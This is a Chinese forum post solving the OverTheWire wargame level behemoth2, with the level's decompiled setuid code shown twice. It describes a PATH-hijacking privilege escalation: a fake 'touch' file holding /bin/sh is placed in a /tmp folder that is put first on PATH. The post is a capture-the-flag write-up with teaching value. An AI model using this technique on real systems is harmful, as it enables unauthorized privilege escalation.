-
-
[原创]WarGame-behemoth2 解题思路
-
发表于:
2019-8-15 16:18
8117
-
[原创]WarGame-behemoth2 解题思路
Behemoth2伪代码如下
之所以发这题并不是因为这题有多难,而是这题体现了死皮赖脸的黑客精神(至少我是这么认为的);随便找一个版本的Linux(我用的是Ubuntu18.04),将系统中的cat命令文件和whoami命令文件复制到我们在tmp目录下创建的临时文件夹,然后输入如下命令
将touch文件中的内容改成’/bin/sh’,然后将PATH环境变量改成自己创建的文件夹,执行behemoth2,结果如下
Behemoth2伪代码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
__uid_t v3; // ebx@2
__uid_t v4; // eax@2
__uid_t v5; // ebx@3
__uid_t v6; // eax@3
struct stat stat_buf; // [sp+0h] [bp-88h]@1
char s; // [sp+64h] [bp-24h]@1
char v10; // [sp+68h] [bp-20h]@3
__int16 v11; // [sp+6Ah] [bp-1Eh]@1
char *name; // [sp+78h] [bp-10h]@1
int v13; // [sp+7Ch] [bp-Ch]@1
int *v14; // [sp+84h] [bp-4h]@1
v14 = &argc;
v13 = getpid();
name = (char *)&v11;
sprintf(&s, "touch %d", v13);
if ( (lstat(name, &stat_buf) & 0xF000) != 0x8000 )
{
unlink(name);
v3 = geteuid();
v4 = geteuid();
setreuid(v4, v3);
system(&s);
}
sleep(0x7D0u);
*(_DWORD *)&s = 544498019;
v10 = 32;
v5 = geteuid();
v6 = geteuid();
setreuid(v6, v5);
system(&s);
return 0;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
__uid_t v3; // ebx@2
__uid_t v4; // eax@2
__uid_t v5; // ebx@3
__uid_t v6; // eax@3
struct stat stat_buf; // [sp+0h] [bp-88h]@1
char s; // [sp+64h] [bp-24h]@1
char v10; // [sp+68h] [bp-20h]@3
__int16 v11; // [sp+6Ah] [bp-1Eh]@1
char *name; // [sp+78h] [bp-10h]@1
int v13; // [sp+7Ch] [bp-Ch]@1
int *v14; // [sp+84h] [bp-4h]@1
v14 = &argc;
v13 = getpid();
name = (char *)&v11;
sprintf(&s, "touch %d", v13);
if ( (lstat(name, &stat_buf) & 0xF000) != 0x8000 )
{
unlink(name);
v3 = geteuid();
v4 = geteuid();
setreuid(v4, v3);
system(&s);
}
sleep(0x7D0u);
*(_DWORD *)&s = 544498019;
v10 = 32;
v5 = geteuid();
v6 = geteuid();
setreuid(v6, v5);
system(&s);
return 0;
}
之所以发这题并不是因为这题有多难,而是这题体现了死皮赖脸的黑客精神(至少我是这么认为的);随便找一个版本的Linux(我用的是Ubuntu18.04),将系统中的cat命令文件和whoami命令文件复制到我们在tmp目录下创建的临时文件夹,然后输入如下命令
behemoth2@behemoth:/tmp/pure/gavin$ chmod 777 cat whoami
behemoth2@behemoth:/tmp/pure/gavin$ ls
cat touch whoami
behemoth2@behemoth:/tmp/pure/gavin$ chmod 777 cat whoami
behemoth2@behemoth:/tmp/pure/gavin$ ls
cat touch whoami
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!